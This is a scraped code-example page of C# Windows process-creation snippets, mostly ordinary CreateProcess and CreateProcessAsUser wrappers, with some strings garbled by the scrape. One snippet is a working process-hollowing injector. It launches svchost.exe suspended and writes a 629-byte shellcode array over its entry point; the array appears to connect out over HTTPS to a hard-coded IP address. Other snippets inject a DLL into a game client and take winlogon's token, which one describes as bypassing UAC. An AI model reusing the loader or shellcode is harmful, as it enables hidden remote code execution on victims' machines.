            uint exitCode;

            Kernel32.GetExitCodeProcess(pInfo.hProcess, out exitCode);

            //clean up
            Kernel32.CloseHandle(pInfo.hProcess);
            Kernel32.CloseHandle(iStdOut);
            Kernel32.CloseHandle(iStdErr);
            Kernel32.CloseHandle(iStdIn);

            Environment.Exit((int)exitCode);
        }
Exemplo n.º 41
0
 public static extern bool CreateProcessAsUser(IntPtr tokenHandle, string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes, bool inheritHandle, uint creationFlags, IntPtr envrionment, string currentDirectory, ref STARTUPINFO startupInfo, ref PROCESS_INFORMATION processInformation);
Exemplo n.º 42
0
 public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
Exemplo n.º 43
0
        public static void CreateProcess(string app, string path)
        {
            bool   result;
            IntPtr hToken      = WindowsIdentity.GetCurrent().Token;
            IntPtr hDupedToken = IntPtr.Zero;

            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
            SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();

            sa.Length = Marshal.SizeOf(sa);

            STARTUPINFO si = new STARTUPINFO();

            si.cb = Marshal.SizeOf(si);

            int dwSessionID = WTSGetActiveConsoleSessionId();

            result = WTSQueryUserToken(dwSessionID, out hToken);

            if (!result)
            {
                ShowMessageBox("WTSQueryUserToken failed", "AlertService Message");
            }

            result = DuplicateTokenEx(
                hToken,
                GENERIC_ALL_ACCESS,
                ref sa,
                (int)SECURITY_IMPERSONATION_LEVEL.SecurityIdentification,
                (int)TOKEN_TYPE.TokenPrimary,
                ref hDupedToken
                );

            if (!result)
            {
                ShowMessageBox("DuplicateTokenEx failed", "AlertService Message");
            }

            IntPtr lpEnvironment = IntPtr.Zero;

            result = CreateEnvironmentBlock(out lpEnvironment, hDupedToken, false);

            if (!result)
            {
                ShowMessageBox("CreateEnvironmentBlock failed", "AlertService Message");
            }

            result = CreateProcessAsUser(
                hDupedToken,
                app,
                String.Empty,
                ref sa, ref sa,
                false, 0, IntPtr.Zero,
                null, ref si, ref pi);

            if (!result)
            {
                int    error   = Marshal.GetLastWin32Error();
                string message = String.Format("CreateProcessAsUser Error: {0}", error);
                ShowMessageBox(message, "AlertService Message");
            }

            if (pi.hProcess != IntPtr.Zero)
            {
                CloseHandle(pi.hProcess);
            }
            if (pi.hThread != IntPtr.Zero)
            {
                CloseHandle(pi.hThread);
            }
            if (hDupedToken != IntPtr.Zero)
            {
                CloseHandle(hDupedToken);
            }
        }
Exemplo n.º 44
0
 public static extern bool CreateProcessWithTokenW(IntPtr hToken, LogonFlags dwLogonFlags, string lpApplicationName, string lpCommandLine, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
Exemplo n.º 45
0
        private void pictureEdit1_Click(object sender, EventArgs e)
        {
            var daPath = @"..\7.18\Darkages.exe";
            var server = config.Servers.Find(i => i.ServerName == comboBox1.Text);

            if (server == null)
            {
                MessageBox.Show("Error, Check config.");
                return;
            }

            STARTUPINFO         si = new STARTUPINFO();
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
            bool success           = NativeMethods.CreateProcess(daPath, null,
                                                                 IntPtr.Zero, IntPtr.Zero, false,
                                                                 ProcessCreationFlags.CREATE_SUSPENDED,
                                                                 IntPtr.Zero, null, ref si, out pi);

            MemorySharp memory;

            try
            {
                memory = new MemorySharp((int)pi.dwProcessId);
            }
            catch (Exception error)
            {
                MessageBox.Show(string.Format("Fatal Launch Error: {0}", error.Message + "\n" + error.StackTrace));
                File.WriteAllText("lorule_lerror.txt", string.Format("Fatal Launch Error: {0}", error.Message + "\n" + error.StackTrace));
                return;
            }
            var payload  = new byte[7];
            var segments = server.IPAddress.Split('.');


            if (server.IPAddress.Contains(".com") || server.IPAddress.Contains("www.") || segments.Length != 4)
            {
                var ip       = Dns.GetHostAddresses(server.IPAddress)[0];
                var ipString = ip.ToString();

                payload[0] = Convert.ToByte(ipString[3]);
                payload[1] = 0x6A;
                payload[2] = Convert.ToByte(ipString[2]);
                payload[3] = 0x6A;
                payload[4] = Convert.ToByte(ipString[1]);
                payload[5] = 0x6A;
                payload[6] = Convert.ToByte(ipString[0]);

                memory.Write((IntPtr)(0x400000 + server.HookTable), payload, false);
                memory.Write((IntPtr)(0x400000 + server.PatchTable), payload, false);
            }
            else
            {
                if (server.ClientVersion == 718 && segments.Length == 4)
                {
                    payload[0] = Convert.ToByte(segments[3]);
                    payload[1] = 0x6A;
                    payload[2] = Convert.ToByte(segments[2]);
                    payload[3] = 0x6A;
                    payload[4] = Convert.ToByte(segments[1]);
                    payload[5] = 0x6A;
                    payload[6] = Convert.ToByte(segments[0]);

                    memory.Write((IntPtr)(0x400000 + server.HookTable), payload, false);
                    memory.Write((IntPtr)(0x400000 + server.PatchTable), payload, false);
                }
            }

            IntPtr ThreadHandle = pi.hThread;

            NativeMethods.ResumeThread(ThreadHandle);

            var Memory = new MemorySharp((int)pi.dwProcessId);

            {
                var injection = Memory.Modules.Inject(LOR_DLL);

                if (injection.IsValid)
                {
                    Console.Beep();
                }
            }

            Application.Exit();
        }
Exemplo n.º 46
0
 public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
                                               ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment,
                                               String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
Exemplo n.º 47
0
        static void Main(string[] args)
        {
            // Create new svchost process in suspended state
            STARTUPINFO         si = new STARTUPINFO();
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
            bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);

            // Fetch address of the Process Environment Block (PEB) from the new svchost process
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
            uint   tmp      = 0;
            IntPtr hProcess = pi.hProcess;

            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);

            // Read the first eight bytes of svchost process memory
            byte[] addrBuf = new byte[IntPtr.Size];
            IntPtr nRead   = IntPtr.Zero;

            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));

            // Parse the PE header from the svchost process memory to identify EntryPoint of executable
            byte[] data = new byte[0x200];
            ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead);
            uint   e_lfanew_offset     = BitConverter.ToUInt32(data, 0x3C);
            uint   opthdr              = e_lfanew_offset + 0x28;
            uint   entrypoint_rva      = BitConverter.ToUInt32(data, (int)opthdr);
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);

            // Overwrite EntryPoint with shellcode
            byte[] buf = new byte[629] {
                0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
                0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x51, 0x56, 0x48, 0x8b, 0x52, 0x18, 0x48,
                0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x4d, 0x31, 0xc9, 0x48, 0x0f, 0xb7, 0x4a, 0x4a,
                0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
                0x01, 0xc1, 0xe2, 0xed, 0x52, 0x48, 0x8b, 0x52, 0x20, 0x41, 0x51, 0x8b, 0x42, 0x3c, 0x48,
                0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x0f, 0x85, 0x72, 0x00, 0x00, 0x00, 0x8b,
                0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x8b, 0x48,
                0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0x50, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
                0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0x41, 0xc1, 0xc9,
                0x0d, 0xac, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45,
                0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b,
                0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x41, 0x58,
                0x41, 0x58, 0x48, 0x01, 0xd0, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48,
                0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9,
                0x4b, 0xff, 0xff, 0xff, 0x5d, 0x48, 0x31, 0xdb, 0x53, 0x49, 0xbe, 0x77, 0x69, 0x6e, 0x69,
                0x6e, 0x65, 0x74, 0x00, 0x41, 0x56, 0x48, 0x89, 0xe1, 0x49, 0xc7, 0xc2, 0x4c, 0x77, 0x26,
                0x07, 0xff, 0xd5, 0x53, 0x53, 0x48, 0x89, 0xe1, 0x53, 0x5a, 0x4d, 0x31, 0xc0, 0x4d, 0x31,
                0xc9, 0x53, 0x53, 0x49, 0xba, 0x3a, 0x56, 0x79, 0xa7, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5,
                0xe8, 0x0e, 0x00, 0x00, 0x00, 0x31, 0x39, 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x34, 0x39,
                0x2e, 0x38, 0x34, 0x00, 0x5a, 0x48, 0x89, 0xc1, 0x49, 0xc7, 0xc0, 0xbb, 0x01, 0x00, 0x00,
                0x4d, 0x31, 0xc9, 0x53, 0x53, 0x6a, 0x03, 0x53, 0x49, 0xba, 0x57, 0x89, 0x9f, 0xc6, 0x00,
                0x00, 0x00, 0x00, 0xff, 0xd5, 0xe8, 0x4b, 0x00, 0x00, 0x00, 0x2f, 0x79, 0x4e, 0x70, 0x34,
                0x52, 0x77, 0x55, 0x36, 0x72, 0x50, 0x6b, 0x6c, 0x70, 0x53, 0x53, 0x6e, 0x52, 0x66, 0x4b,
                0x62, 0x77, 0x77, 0x77, 0x44, 0x66, 0x61, 0x6f, 0x48, 0x4d, 0x34, 0x46, 0x6a, 0x4b, 0x30,
                0x4f, 0x2d, 0x53, 0x37, 0x69, 0x73, 0x72, 0x4d, 0x51, 0x73, 0x43, 0x56, 0x63, 0x41, 0x4a,
                0x62, 0x72, 0x64, 0x4b, 0x77, 0x4b, 0x47, 0x44, 0x64, 0x51, 0x51, 0x67, 0x30, 0x43, 0x51,
                0x75, 0x6d, 0x78, 0x79, 0x4e, 0x54, 0x4d, 0x44, 0x55, 0x00, 0x48, 0x89, 0xc1, 0x53, 0x5a,
                0x41, 0x58, 0x4d, 0x31, 0xc9, 0x53, 0x48, 0xb8, 0x00, 0x32, 0xa8, 0x84, 0x00, 0x00, 0x00,
                0x00, 0x50, 0x53, 0x53, 0x49, 0xc7, 0xc2, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x48, 0x89,
                0xc6, 0x6a, 0x0a, 0x5f, 0x48, 0x89, 0xf1, 0x6a, 0x1f, 0x5a, 0x52, 0x68, 0x80, 0x33, 0x00,
                0x00, 0x49, 0x89, 0xe0, 0x6a, 0x04, 0x41, 0x59, 0x49, 0xba, 0x75, 0x46, 0x9e, 0x86, 0x00,
                0x00, 0x00, 0x00, 0xff, 0xd5, 0x4d, 0x31, 0xc0, 0x53, 0x5a, 0x48, 0x89, 0xf1, 0x4d, 0x31,
                0xc9, 0x4d, 0x31, 0xc9, 0x53, 0x53, 0x49, 0xc7, 0xc2, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5,
                0x85, 0xc0, 0x75, 0x1f, 0x48, 0xc7, 0xc1, 0x88, 0x13, 0x00, 0x00, 0x49, 0xba, 0x44, 0xf0,
                0x35, 0xe0, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0x48, 0xff, 0xcf, 0x74, 0x02, 0xeb, 0xaa,
                0xe8, 0x55, 0x00, 0x00, 0x00, 0x53, 0x59, 0x6a, 0x40, 0x5a, 0x49, 0x89, 0xd1, 0xc1, 0xe2,
                0x10, 0x49, 0xc7, 0xc0, 0x00, 0x10, 0x00, 0x00, 0x49, 0xba, 0x58, 0xa4, 0x53, 0xe5, 0x00,
                0x00, 0x00, 0x00, 0xff, 0xd5, 0x48, 0x93, 0x53, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x89, 0xf1,
                0x48, 0x89, 0xda, 0x49, 0xc7, 0xc0, 0x00, 0x20, 0x00, 0x00, 0x49, 0x89, 0xf9, 0x49, 0xba,
                0x12, 0x96, 0x89, 0xe2, 0x00, 0x00, 0x00, 0x00, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x20, 0x85,
                0xc0, 0x74, 0xb2, 0x66, 0x8b, 0x07, 0x48, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xd2, 0x58, 0xc3,
                0x58, 0x6a, 0x00, 0x59, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0x89, 0xda, 0xff, 0xd5
            };
            WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead);

            // Resume thread
            ResumeThread(pi.hThread);
        }
Exemplo n.º 48
0
        /// <summary>
        /// Launches the given application with full admin rights, and in addition bypasses the Vista UAC prompt
        /// </summary>
        /// <param name="applicationName">The name of the application to launch</param>
        /// <param name="procInfo">Process information regarding the launched application that gets returned to the caller</param>
        /// <returns></returns>
        public static bool StartProcessAndBypassUAC(String applicationName, out PROCESS_INFORMATION procInfo)
        {
            uint   winlogonPid = 0;
            IntPtr hUserTokenDup = IntPtr.Zero, hPToken = IntPtr.Zero, hProcess = IntPtr.Zero;

            procInfo = new PROCESS_INFORMATION();

            // obtain the currently active session id; every logged on user in the system has a unique session id
            uint dwSessionId = WTSGetActiveConsoleSessionId();

            // obtain the process id of the winlogon process that is running within the currently active session
            Process[] processes = Process.GetProcessesByName("winlogon");
            foreach (Process p in processes)
            {
                if ((uint)p.SessionId == dwSessionId)
                {
                    winlogonPid = (uint)p.Id;
                }
            }

            // obtain a handle to the winlogon process
            hProcess = OpenProcess(MAXIMUM_ALLOWED, false, winlogonPid);

            // obtain a handle to the access token of the winlogon process
            if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE, ref hPToken))
            {
                CloseHandle(hProcess);
                return(false);
            }

            // Security attibute structure used in DuplicateTokenEx and CreateProcessAsUser
            // I would prefer to not have to use a security attribute variable and to just
            // simply pass null and inherit (by default) the security attributes
            // of the existing token. However, in C# structures are value types and therefore
            // cannot be assigned the null value.
            SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();

            sa.Length = Marshal.SizeOf(sa);

            // copy the access token of the winlogon process; the newly created token will be a primary token
            if (!DuplicateTokenEx(hPToken, MAXIMUM_ALLOWED, ref sa, (int)SECURITY_IMPERSONATION_LEVEL.SecurityIdentification, (int)TOKEN_TYPE.TokenPrimary, ref hUserTokenDup))
            {
                CloseHandle(hProcess);
                CloseHandle(hPToken);
                return(false);
            }

            // By default CreateProcessAsUser creates a process on a non-interactive window station, meaning
            // the window station has a desktop that is invisible and the process is incapable of receiving
            // user input. To remedy this we set the lpDesktop parameter to indicate we want to enable user
            // interaction with the new process.
            STARTUPINFO si = new STARTUPINFO();

            si.cb        = (int)Marshal.SizeOf(si);
            si.lpDesktop = @"winsta0\default"; // interactive window station parameter; basically this indicates that the process created can display a GUI on the desktop

            // flags that specify the priority and creation method of the process
            int dwCreationFlags = NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE;

            // create a new process in the current user's logon session
            bool result = CreateProcessAsUser(hUserTokenDup,        // client's access token
                                              null,                 // file to execute
                                              applicationName,      // command line
                                              ref sa,               // pointer to process SECURITY_ATTRIBUTES
                                              ref sa,               // pointer to thread SECURITY_ATTRIBUTES
                                              false,                // handles are not inheritable
                                              dwCreationFlags,      // creation flags
                                              IntPtr.Zero,          // pointer to new environment block
                                              null,                 // name of current directory
                                              ref si,               // pointer to STARTUPINFO structure
                                              out procInfo          // receives information about new process
                                              );

            // invalidate the handles
            CloseHandle(hProcess);
            CloseHandle(hPToken);
            CloseHandle(hUserTokenDup);

            return(result); // return the result
        }
Exemplo n.º 49
0
        public static PythonTuple CreateProcess(
            CodeContext context,
            string applicationName,
            string commandLineArgs,
            object pSec /*subprocess.py passes None*/,
            object tSec /*subprocess.py passes None*/,
            int?bInheritHandles,
            uint?dwCreationFlags,
            PythonDictionary lpEnvironment,
            string lpCurrentDirectory,
            object lpStartupInfo /* subprocess.py passes STARTUPINFO*/)
        {
            object dwFlags     = PythonOps.GetBoundAttr(context, lpStartupInfo, "dwFlags");     //public Int32 dwFlags;
            object hStdInput   = PythonOps.GetBoundAttr(context, lpStartupInfo, "hStdInput");   //public IntPtr hStdInput;
            object hStdOutput  = PythonOps.GetBoundAttr(context, lpStartupInfo, "hStdOutput");  //public IntPtr hStdOutput;
            object hStdError   = PythonOps.GetBoundAttr(context, lpStartupInfo, "hStdError");   //public IntPtr hStdError;
            object wShowWindow = PythonOps.GetBoundAttr(context, lpStartupInfo, "wShowWindow"); //Int16 wShowWindow;

            Int32 dwFlagsInt32 = dwFlags != null?Converter.ConvertToInt32(dwFlags) : 0;

            IntPtr hStdInputIntPtr  = hStdInput != null ? new IntPtr(Converter.ConvertToInt32(hStdInput)) : IntPtr.Zero;
            IntPtr hStdOutputIntPtr = hStdOutput != null ? new IntPtr(Converter.ConvertToInt32(hStdOutput)) : IntPtr.Zero;
            IntPtr hStdErrorIntPtr  = hStdError != null ? new IntPtr(Converter.ConvertToInt32(hStdError)) : IntPtr.Zero;
            Int16  wShowWindowInt16 = wShowWindow != null?Converter.ConvertToInt16(wShowWindow) : (short)0;

            STARTUPINFO startupInfo = new STARTUPINFO();

            startupInfo.dwFlags     = dwFlagsInt32;
            startupInfo.hStdInput   = hStdInputIntPtr;
            startupInfo.hStdOutput  = hStdOutputIntPtr;
            startupInfo.hStdError   = hStdErrorIntPtr;
            startupInfo.wShowWindow = wShowWindowInt16;

            // No special security
            SECURITY_ATTRIBUTES pSecSA = new SECURITY_ATTRIBUTES();

            pSecSA.nLength = Marshal.SizeOf(pSecSA);

            SECURITY_ATTRIBUTES tSecSA = new SECURITY_ATTRIBUTES();

            tSecSA.nLength = Marshal.SizeOf(tSecSA);

            if (pSec != null)
            {
                /* If pSec paseed in from Python is not NULL
                 * there needs to be some conversion done here...*/
            }
            if (tSec != null)
            {
                /* If tSec paseed in from Python is not NULL
                 * there needs to be some conversion done here...*/
            }

            // If needed convert lpEnvironment Dictonary to lpEnvironmentIntPtr
            string lpEnvironmentStr = EnvironmentToNative(lpEnvironment);

            PROCESS_INFORMATION lpProcessInformation = new PROCESS_INFORMATION();
            bool result = CreateProcessPI(
                String.IsNullOrEmpty(applicationName) ? null : applicationName /*applicationNameHelper*//*processStartInfo.FileName*/,
                String.IsNullOrEmpty(commandLineArgs) ? null : commandLineArgs /*commandLineArgsHelper*//*processStartInfo.Arguments*/,
                ref pSecSA, ref tSecSA,
                bInheritHandles.HasValue && bInheritHandles.Value > 0 ? true : false,
                dwCreationFlags.HasValue ? dwCreationFlags.Value : 0,
                lpEnvironmentStr,
                lpCurrentDirectory,
                ref startupInfo,
                out lpProcessInformation);

            if (!result)
            {
                int error = Marshal.GetLastWin32Error();
                throw PythonExceptions.CreateThrowable(PythonExceptions.WindowsError, error, CTypes.FormatError(error));
            }

            IntPtr hp  = lpProcessInformation.hProcess;
            IntPtr ht  = lpProcessInformation.hThread;
            int    pid = lpProcessInformation.dwProcessId;
            int    tid = lpProcessInformation.dwThreadId;

            return(PythonTuple.MakeTuple(
                       new PythonSubprocessHandle(hp, true),
                       new PythonSubprocessHandle(ht),
                       pid, tid));
        }
Exemplo n.º 50
0
    public static void Main()
    {
        uint   activeSessID  = 0;
        IntPtr ppSessionInfo = IntPtr.Zero;
        Int32  count         = 0;
        Int32  retval        = WTSEnumerateSessions(IntPtr.Zero, 0, 1, ref ppSessionInfo, ref count);
        IntPtr current       = ppSessionInfo;

        if (retval != 0)
        {
            for (int i = 0; i < count; i++)
            {
                current = ppSessionInfo + i * Marshal.SizeOf(typeof(WTS_SESSION_INFO));;
                WTS_SESSION_INFO si = (WTS_SESSION_INFO)Marshal.PtrToStructure(current, typeof(WTS_SESSION_INFO));
                if (si.State == ConnectionState.Active)
                {
                    Console.WriteLine("found active sess");
                    Console.WriteLine(si.SessionID);
                    activeSessID = (uint)si.SessionID;
                }
            }
            WTSFreeMemory(ppSessionInfo);
        }
        Console.WriteLine(activeSessID);
        IntPtr hToken = WindowsIdentity.GetCurrent().Token;

        Console.WriteLine(hToken);
        IntPtr hDupedToken = IntPtr.Zero;

        //https://technet.microsoft.com/en-us/ff560499(v=vs.71)
        int TOKEN_TYPE = 1;
        //https://msdn.microsoft.com/en-us/windows/desktop/aa379633
        int SECURITY_IMPERSONATION_LEVEL = 2;
        //https://msdn.microsoft.com/zh-tw/windows/hardware/ms717798(v=vs.71)
        SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();

        sa.Length = Marshal.SizeOf(sa);
        //https://docs.microsoft.com/en-us/windows/win32/secauthz/access-mask
        //https://www.pinvoke.net/default.aspx/Enums.ACCESS_MASK
        //https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights

        bool result = DuplicateTokenEx(
            hToken,
            TOKEN_ALL_ACCESS,
            ref sa,
            SECURITY_IMPERSONATION_LEVEL,
            TOKEN_TYPE,
            ref hDupedToken);

        if (result)
        {
            Console.WriteLine("Hello!!Get the token successfully");
        }
        result = SetTokenInformation(hDupedToken, TOKEN_INFORMATION_CLASS.TokenSessionId, ref activeSessID, 4);

        if (result)
        {
            Console.WriteLine("SetTokenInformation successfully");
        }

        PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();
        STARTUPINFO         info     = new STARTUPINFO();

        result = CreateProcessAsUser(hDupedToken, "C:\\Hackcollege\\start UP\\agreement.exe", null,
                                     IntPtr.Zero, IntPtr.Zero, false, (UInt32)CreateProcessFlags.CREATE_NEW_CONSOLE, IntPtr.Zero, null,
                                     ref info, out procInfo);

        if (result)
        {
            Console.WriteLine("start the agreement");
        }
    }
Exemplo n.º 51
0
        public static int RunProcess(string userName, string password,
                                     string domain, string cmd,
                                     string arguments,
                                     bool loadUserProfile = true,
                                     int logonType        = LOGON32_LOGON_BATCH)
        {
            bool retValue;

            IntPtr phToken            = IntPtr.Zero;
            IntPtr phTokenDup         = IntPtr.Zero;
            PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
            PROFILEINFO         pi    = new PROFILEINFO();

            try
            {
                retValue = LogonUser(userName, domain, password,
                                     logonType,
                                     LOGON32_PROVIDER_DEFAULT,
                                     out phToken);
                if (!retValue)
                {
                    throw new Exception("Failed to logon as user: "******"Failed to duplicate token: " + GetLastError());
                }

                STARTUPINFO sInfo = new STARTUPINFO();
                sInfo.lpDesktop = "";

                if (loadUserProfile)
                {
                    pi.dwSize     = Marshal.SizeOf(pi);
                    pi.dwFlags    = PI_NOUI;
                    pi.lpUserName = userName;

                    retValue = LoadUserProfile(phTokenDup, ref pi);
                    if (!retValue)
                    {
                        throw new Exception("Failed to get user profile: " + GetLastError());
                    }
                }

                retValue = CreateProcessAsUser(phTokenDup, cmd, arguments,
                                               ref sa, ref sa, false, 0,
                                               IntPtr.Zero, null,
                                               ref sInfo, out pInfo);
                if (!retValue)
                {
                    throw new Exception("Failed to create process as user: "******"Process returned exit status: " + GetLastError());
                }

                int exitCode;
                retValue = GetExitCodeProcess(pInfo.hProcess, out exitCode);
                if (!retValue)
                {
                    throw new Exception("Failed to get exit code status" + GetLastError());
                }

                return(exitCode);
            }
            finally
            {
                if (pi.hProfile != IntPtr.Zero)
                {
                    UnloadUserProfile(phTokenDup, pi.hProfile);
                }
                if (phToken != IntPtr.Zero)
                {
                    CloseHandle(phToken);
                }
                if (phTokenDup != IntPtr.Zero)
                {
                    CloseHandle(phTokenDup);
                }
                if (pInfo.hProcess != IntPtr.Zero)
                {
                    CloseHandle(pInfo.hProcess);
                }
            }
        }
Exemplo n.º 52
0
        private void StartProcessInSession(string targetsession, string processName, string parameter, string workingDirectory, bool runas, bool hide)
        {
            uint targetSessionId = 0xFFFFFFFF;

            process = null;
            WriteVerboseToLog("Starting process " + processName + " in session " + targetsession + ".");

            int tempInt;

            if (Int32.TryParse(targetsession, out tempInt))
            {             // target session specified as number
                if (tempInt >= 0)
                {
                    targetSessionId = (uint)tempInt;
                }
            }
            else
            {             // target session specified as text
                if ((targetsession.Length > 5) && (targetsession.ToLower().Substring(0, 5) == "user:"******"user:"******"service":
                    case "services":
                        targetSessionId = 0;
                        break;

                    case "console":
                        targetSessionId = GetConsoleSession();
                        break;

                    case "active":
                        targetSessionId = GetUserSession(null, WTS_CONNECTSTATE_CLASS.WTSActive);
                        break;

                    case "disconnected":
                        targetSessionId = GetUserSession(null, WTS_CONNECTSTATE_CLASS.WTSDisconnected);
                        break;
                    }
                }
            }

            if (targetSessionId == 0xFFFFFFFF)
            {             // could not find selected session
                WriteVerboseToLog("Target session " + targetsession + " not found or accessible.");
                return;
            }

            if ((targetSessionId == 0) && (Process.GetCurrentProcess().SessionId == 0))
            {             // in session 0
                WriteVerboseToLog("Start in session of service requested, direct start");
                // ignore hide parameter because no one "sees" session 0
                // ignore runas parameter because there is user for session 0
                StartProcess(processName, parameter, workingDirectory);
                return;
            }

            WriteVerboseToLog("Start in session " + targetSessionId.ToString() + " requested.");
            IntPtr hProcessToken;

            if (runas)
            {             // start process as session user
                if (targetSessionId == 0)
                {         // cannot start with runas in session 0
                    WriteVerboseToLog("Cannot start program in service session because there is no session user.");
                    return;
                }

                hProcessToken = GetTokenFromSession(targetSessionId);
                if (hProcessToken == IntPtr.Zero)
                {                 // could not retrieve session token
                    WriteVerboseToLog("Cannot retrieve token of target session " + targetsession + ". Error: " + Marshal.GetLastWin32Error().ToString());
                    return;
                }
            }
            else
            {             // start process as own process user
                hProcessToken = GetTokenFromCurrentProcess();
                if (hProcessToken == IntPtr.Zero)
                {                 // could not retrieve session token
                    WriteVerboseToLog("Cannot retrieve token of target session " + targetsession + ". Error: " + Marshal.GetLastWin32Error().ToString());
                    return;
                }

                // do I have to change the session?
                if (targetSessionId != Process.GetCurrentProcess().SessionId)
                {
                    if (!SetTokenSession(ref hProcessToken, targetSessionId))
                    {                     // could not set session id of token
                        WriteVerboseToLog("Cannot set session " + targetsession + ". Error: " + Marshal.GetLastWin32Error().ToString());
                        return;
                    }
                }
            }

            if (elevate >= 0)
            {             // elevation or unelevation requested
                GetElevatedToken(ref hProcessToken, elevate == 1);
            }

            IntPtr pEnvironment = IntPtr.Zero;

            if (!CreateEnvironmentBlock(out pEnvironment, hProcessToken, false))
            {             // could not create environment block
                pEnvironment = IntPtr.Zero;
                WriteVerboseToLog("Cannot create environment block for target session, continuing without.");
            }

            if (parameter != "")
            {
                processName += " " + parameter;
            }
            if (workingDirectory == "")
            {
                workingDirectory = null;
            }
            uint dwCreationFlags   = 0x00000410;           // CREATE_NEW_CONSOLE + CREATE_UNICODE_ENVIRONMENT
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
            STARTUPINFO         si = new STARTUPINFO();

            // Initialize struct
            si.cb      = Marshal.SizeOf(si);
            si.dwFlags = 0x00000001;             // STARTF_USESHOWWINDOW
            if (hide)
            {
                si.wShowWindow = 0;                 // SW_HIDE
            }
            else
            {
                si.wShowWindow = 5;                 // SW_SHOW
            }
            si.lpDesktop = "winsta0\\default";

            int rc = 0;

            if (!CreateProcessAsUser(hProcessToken, null, processName, IntPtr.Zero, IntPtr.Zero, false, dwCreationFlags, pEnvironment, workingDirectory, ref si, out pi))
            {             // could not start process
                WriteVerboseToLog("Cannot start process " + processName + ". Error: " + Marshal.GetLastWin32Error().ToString());
                rc = -1;
            }
            WriteVerboseToLog("Process " + processName + " started in session " + targetSessionId.ToString() + ".");

            if (pEnvironment != IntPtr.Zero)
            {             // free memory of environment block (process has a copy)
                DestroyEnvironmentBlock(pEnvironment);
            }

            if (rc == 0)
            {             // store process object
                process = Process.GetProcessById(pi.dwProcessId);
                // close handles that only exist when no error occurred
                CloseHandle(pi.hThread);
                CloseHandle(pi.hProcess);
            }
            // close remaining handle
            CloseHandle(hProcessToken);
        }
Exemplo n.º 53
0
 internal static extern void CorLaunchApplication(UInt32 hostType,
     string applicationFullName,
     int manifestPathsCount,
     string[] manifestPaths,
     int activationDataCount,
     string[] activationData,
     PROCESS_INFORMATION processInformation);
Exemplo n.º 54
0
